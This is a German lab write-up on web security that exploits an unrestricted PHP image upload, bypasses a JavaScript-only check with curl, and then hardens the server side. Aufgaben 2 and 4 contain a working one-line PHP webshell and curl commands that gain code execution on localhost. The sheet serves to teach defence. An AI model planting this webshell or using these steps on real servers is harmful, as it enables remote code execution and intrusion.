

Blatt 4

Web-Security und Intrusion Prevention

Luis Staudt

Aufgabe 1: Die Webanwendung

Die PHP-Anwendung (Apache, php:7.2-apache) erlaubt das Hochladen von Bildern. upload.php verschiebt die Datei lediglich nach uploads/ und prüft nur die Dateigrösse; eine Prüfung des Dateityps findet nicht statt:

```
1 $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);  
2 ...  
3 move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
```

Hochgeladene Dateien liegen damit ausführbar im Web-Root unter uploads/.

Aufgabe 2: Schadcode hochladen

Als Schadcode dient eine minimale PHP-Webshell, stellvertretend für p0wny-shell oder phpbash:

```
1 <?php echo "<pre>"; system($_GET["cmd"] ?? "id"); echo "</pre>"; ?>
```

Der Upload erfolgt über das Formular oder direkt mit curl an den Endpunkt upload.php:

```
1 curl -F "fileToUpload=@shell.php" -F "submit=Upload Image" http://127.0.0.1/upload.php
2 -> Datei shell.php hochgeladen.
```

Der Aufruf der hochgeladenen Datei führt den Code aus (Remote Code Execution):

```
1 curl "http://127.0.0.1/uploads/shell.php?cmd=id;whoami;uname%20-a"
2 -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
3     www-data
4     Linux ... x86_64 GNU/Linux
```

Der Code wird als Benutzer www-data auf dem Server ausgeführt.

Aufgabe 3: Unzureichender Schutz (nur clientseitig)

Die Variante index-js-security.php prüft vor dem Upload per JavaScript, ob eine Bilddatei vorliegt (MIME-Typ, Dateiendung, accept="image/*"):

```
1 if (!file.type.startsWith("image/")) { ... e.preventDefault(); }  
2 const allowedExtensions = ["jpg", "jpeg", "png", "gif", "webp"];
```

Diese Prüfung findet ausschliesslich clientseitig im Browser statt. upload.php auf dem Server bleibt unverändert und prüft nichts. Im Browser erscheint bei Auswahl einer .php-Datei die Fehlermeldung „Nur Bilddateien erlaubt!“. Dabei handelt es sich um eine reine Komfortprüfung, nicht um einen Sicherheitsmechanismus.

Aufgabe 4: Clientseitige Prüfung umgehen

Der Browser-Code lädt per POST (multipart/form-data) an upload.php. Mit curl wird die Datei direkt gesendet. Ohne Browser läuft kein JavaScript, sodass die clientseitige Prüfung vollständig entfällt:

```
1 curl -F "fileToUpload=@shell.php" -F "submit=Upload Image" http://127.0.0.1/upload.php
2 -> Datei shell.php hochgeladen.
3 curl "http://127.0.0.1/uploads/shell.php?cmd=id"
4 -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Trotz der IT-Security-Version bleibt die Remote Code Execution möglich. Eine clientseitige Prüfung bietet keinen Schutz, da der Angreifer den Client umgeht.

Aufgabe 5: Serverseitige Absicherung

Die Absicherung erfolgt auf zwei Ebenen.

a) Inhalt und Typ serverseitig prüfen (upload.php)

```

1 // Inhalt pruefen: nur echte Bilder liefern getimagesize()
2 $info = @getimagesize($_FILES["fileToUpload"]["tmp_name"]);
3 if ($info === false) { echo "Abgelehnt: kein gueltiges Bild."; $uploadOk = 0; }
4 // Endung gegen Whitelist und passend zum erkannten MIME-Typ
5 $mime_to_ext = ["image/jpeg"=>["jpg", "jpeg"], "image/png"=>["png"],
6                 "image/gif"=>["gif"], "image/webp"=>["webp"]];
7 if (!in_array($ext, $allowed) || !in_array($ext, $mime_to_ext[$info["mime"]])) { ... }
8 // eigener zufaelliger Dateiname statt der vom Angreifer gewaehlten Endung
9 $safe = bin2hex(random_bytes(8)) . "." . $ext;

```

b) PHP-Ausführung im Upload-Ordner verbieten (Defense in Depth)

Zusätzlich wird Apache so konfiguriert, dass in uploads/ kein PHP mehr ausgeführt wird. Selbst ein als Bild getarntes Polyglot würde dann nur als Datei ausgeliefert, nicht interpretiert:

```

1 <Directory /var/www/html/uploads>
2     php_admin_flag engine off
3     <FilesMatch "\.(php|phtml|phar|php[0-9])$">
4         SetHandler none
5         Require all denied
6     </FilesMatch>
7 </Directory>

```

Test mit curl

```

1 # reine PHP-Shell
2 curl -F "fileToUpload=@shell.php" ... -> Abgelehnt: kein gueltiges Bild.
3 # Polyglot (echtes PNG + PHP) als evil.php
4 curl -F "fileToUpload=@polyglot.php" ... -> Abgelehnt: Endung passt nicht zum Bildtyp.
5 # Polyglot als evil.png -> gespeichert, aber nicht ausfuehrbar
6 curl "http://127.0.0.1/uploads/<rnd>.png" -> liefert rohe Bytes, <?php ?> wird nicht
   ausgefuehrt
7 # echtes Bild
8 curl -F "fileToUpload=@sunglasses.png" ... -> Datei <rnd>.png hochgeladen.

```

Der Upload des Schadcodes wird damit verhindert, während echte Bilder weiterhin funktionieren.